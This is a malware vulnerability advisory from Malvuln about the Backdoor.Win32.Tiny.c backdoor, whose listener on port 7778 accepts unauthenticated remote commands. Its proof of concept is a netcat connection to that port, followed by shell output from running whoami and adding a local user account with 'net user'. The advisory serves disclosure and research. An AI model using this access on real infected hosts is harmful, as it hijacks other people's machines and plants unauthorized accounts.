Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/c61733c6bcbbb11cee634e0a3fd672e9.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Tiny.c Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP port 7778. Third-party attackers who can reach an infected system can run any OS commands hijacking the compromised host. Type: PE32 MD5: c61733c6bcbbb11cee634e0a3fd672e9 Vuln ID: MVID-2022-0476 Disclosure: 01/29/2022 Exploit/PoC: Note: Hit Enter twice and we get a command line to the infected host. nc64.exe x.x.x.x 7778 wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww 'wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww' is not recognized as an internal or external command, operable program or batch file. C:\Users\Victim\Desktop>whoami whoami desktop-2c3iqho\victim C:\Users\Victim\Desktop>net user malvuln 13 /add net user malvuln 13 /add The command completed successfully. C:\Users\Victim\Desktop> Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).